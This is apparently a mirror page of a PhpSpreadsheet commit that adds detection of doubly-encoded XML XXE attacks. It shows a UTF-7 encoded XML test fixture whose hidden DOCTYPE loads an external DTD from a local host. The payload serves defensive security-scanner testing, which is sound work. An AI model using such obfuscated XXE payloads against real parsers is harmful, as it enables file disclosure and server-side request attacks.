mirror of
https://github.com/PHPOffice/PhpSpreadsheet.git
synced 2026-08-22 13:35:59 +00:00
Mark Baker
0e6238c69e
* Detect doubly-encoded xml to hide XXE attacks Correct use of LibXml_Disable_Entity_Loader * New test for double-encoded xml in security scanner
3 lines
188 B
XML
3 lines
188 B
XML
<?xml version="1.0" encoding="UTF-7"?>
|
|
+-ADwAIQ-DOCTYPE xmlrootname +-AFsAPAAh-ENTITY +-ACU aaa SYSTEM +-ACI-http://127.0.0.1:8080/ext.dtd+-ACIAPgAl-aaa+-ADsAJQ-ccc+-ADsAJQ-ddd+-ADsAXQA+-
|